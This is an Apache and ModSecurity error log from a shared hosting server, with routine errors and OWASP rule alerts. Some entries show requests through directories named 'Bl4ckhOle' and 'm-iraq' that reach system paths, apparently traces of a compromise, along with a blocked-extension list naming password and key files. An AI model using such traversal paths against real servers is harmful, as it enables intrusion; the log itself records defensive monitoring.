[Fri Jul 17 07:51:42.954392 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRtnRlmrtCoY_COpcbFgAAAAg"], referer: http://www.anandaobauae.org/?185.195.25.238uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:51:43.011854 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:42378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:43.242958 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almRtol9vhFBGA6D8l9vkQAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1140&page_105=2243
[Fri Jul 17 07:51:43.243095 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almRtol9vhFBGA6D8l9vkQAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1140&page_105=2243
[Fri Jul 17 07:51:44.753777 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:42468] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:47.242352 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:42590] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:48.894477 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:42658] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:50.019145 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:42686] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:51:52.088104 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.244.66.227:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "lezzarotech.com"] [uri "/robots.txt"] [unique_id "almRwGidQp3SsqeycPEl4QAAAAo"]
[Fri Jul 17 07:51:52.088448 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.244.66.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lezzarotech.com"] [uri "/robots.txt"] [unique_id "almRwGidQp3SsqeycPEl4QAAAAo"]
[Fri Jul 17 07:51:52.120155 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.244.66.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almRwGidQp3SsqeycPEl4QAAAAo"]
[Fri Jul 17 07:51:56.827466 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:51:58.556706 2026] [security2:error] [pid 1994966:tid 1994966] [client 185.231.154.128:0] ModSecurity: Rule 55dbd96071e0 [id "942360"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"][line "445"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almRxryEqmgiTSUa55oAwwAAABA"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 07:52:03.571529 2026] [security2:error] [pid 1993675:tid 1993675] [client 116.96.47.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/js/jquery.form.min.js"] [unique_id "almRyziSeFVxYLkcq6IWYQAAAAc"], referer: https://www.nccp.health.gov.lk/en
[Fri Jul 17 07:52:03.571562 2026] [security2:error] [pid 1993675:tid 1993675] [client 116.96.47.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/js/jquery.form.min.js"] [unique_id "almRyziSeFVxYLkcq6IWYQAAAAc"], referer: https://www.nccp.health.gov.lk/en
[Fri Jul 17 07:52:04.661946 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:06.254328 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/driver/cpu2/node0/compact
[Fri Jul 17 07:52:07.971643 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:08.490531 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:09.501382 2026] [security2:error] [pid 1993604:tid 1993604] [client 47.82.55.40:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/pdf.ini"] [unique_id "almR0Yha5y5fYnQ1qRroiwAAAAE"]
[Fri Jul 17 07:52:09.501915 2026] [security2:error] [pid 1993604:tid 1993604] [client 47.82.55.40:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/pdf.ini"] [unique_id "almR0Yha5y5fYnQ1qRroiwAAAAE"]
[Fri Jul 17 07:52:09.518617 2026] [security2:error] [pid 1993604:tid 1993604] [client 47.82.55.40:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/pdf.ini"] [unique_id "almR0Yha5y5fYnQ1qRroiwAAAAE"]
[Fri Jul 17 07:52:11.014978 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 57.141.18.66:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory72/node0/memory130/subsystem/drivers_probe
[Fri Jul 17 07:52:11.020271 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:11.022475 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:11.340443 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:11.546184 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:11.647898 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:12.102167 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:14.159117 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:14.895983 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:15.108114 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:15.268411 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:18/subsystem/tty4/dev"] [unique_id "almR1zRCJXF37-WnVv0bvgAAABI"]
[Fri Jul 17 07:52:15.268457 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:18/subsystem/tty4/dev"] [unique_id "almR1zRCJXF37-WnVv0bvgAAABI"]
[Fri Jul 17 07:52:15.420508 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:15.655826 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:15.937643 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:17.569859 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:57832] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:52:18.136621 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:18.151338 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:18.403940 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:18.764308 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:18.958859 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:19.181233 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almR2hAi3pC6yjXGNq12KwAAAAU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1261&page_105=2342
[Fri Jul 17 07:52:19.181279 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almR2hAi3pC6yjXGNq12KwAAAAU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1261&page_105=2342
[Fri Jul 17 07:52:20.564154 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:20.603232 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:20.644999 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:57962] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:52:32.305073 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:37.896376 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:40.720664 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almR8GidQp3SsqeycPEmBAAAAAo"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 07:52:40.720694 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almR8GidQp3SsqeycPEmBAAAAAo"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 07:52:41.373942 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:41.664209 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:42.055843 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:42.161788 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:42.234990 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:42.324199 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:42.885842 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:43.169259 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:43.254654 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:43.533331 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:43.626152 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:43.994339 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:44.087643 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:44.322005 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:44.531880 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:44.828082 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:45.165474 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:45.187174 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:45.481740 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:45.660946 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:55/subsystem/tty6/dev"] [unique_id "almR9QG5-NXx3Mem1QgHjgAAAA8"]
[Fri Jul 17 07:52:45.660997 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:55/subsystem/tty6/dev"] [unique_id "almR9QG5-NXx3Mem1QgHjgAAAA8"]
[Fri Jul 17 07:52:45.749965 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:49.587659 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:49.838388 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:49.881047 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:49.938097 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:49.972658 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:50.017741 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:50.103538 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:50.692544 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:50.808565 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:51842] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:52:51.200387 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:51.665627 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:51.756366 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:52.054580 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:52.429152 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:52.609266 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:52.984935 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:53.265783 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:53.636871 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/ttyS1/uartclk
[Fri Jul 17 07:52:53.820275 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:53.911666 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:54.096012 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:54.461586 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/dracut/modules.d/98syslog/rsyslog.conf"] [unique_id "almR_oha5y5fYnQ1qRroqwAAAAE"]
[Fri Jul 17 07:52:54.462113 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/dracut/modules.d/98syslog/rsyslog.conf"] [unique_id "almR_oha5y5fYnQ1qRroqwAAAAE"]
[Fri Jul 17 07:52:54.469187 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:54.527582 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/dracut/modules.d/98syslog/rsyslog.conf"] [unique_id "almR_oha5y5fYnQ1qRroqwAAAAE"]
[Fri Jul 17 07:52:54.652970 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:55.197578 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:13/subsystem/ttyS1/line
[Fri Jul 17 07:52:55.288728 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:55.836291 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:56.772381 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:56.951193 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/ttyS0/uartclk
[Fri Jul 17 07:52:57.133189 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:57.406230 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:57.497609 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:57.680408 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:57.952313 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:21/subsystem/ttyS1/irq
[Fri Jul 17 07:52:58.042979 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:58.318290 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:58.408935 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:13/subsystem/ttyS0/line
[Fri Jul 17 07:52:58.498308 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:59.346358 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:59.457193 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:52:59.888845 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:00.175807 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:00.267479 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:00.590393 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:00.604923 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:00.645443 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:01.106947 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
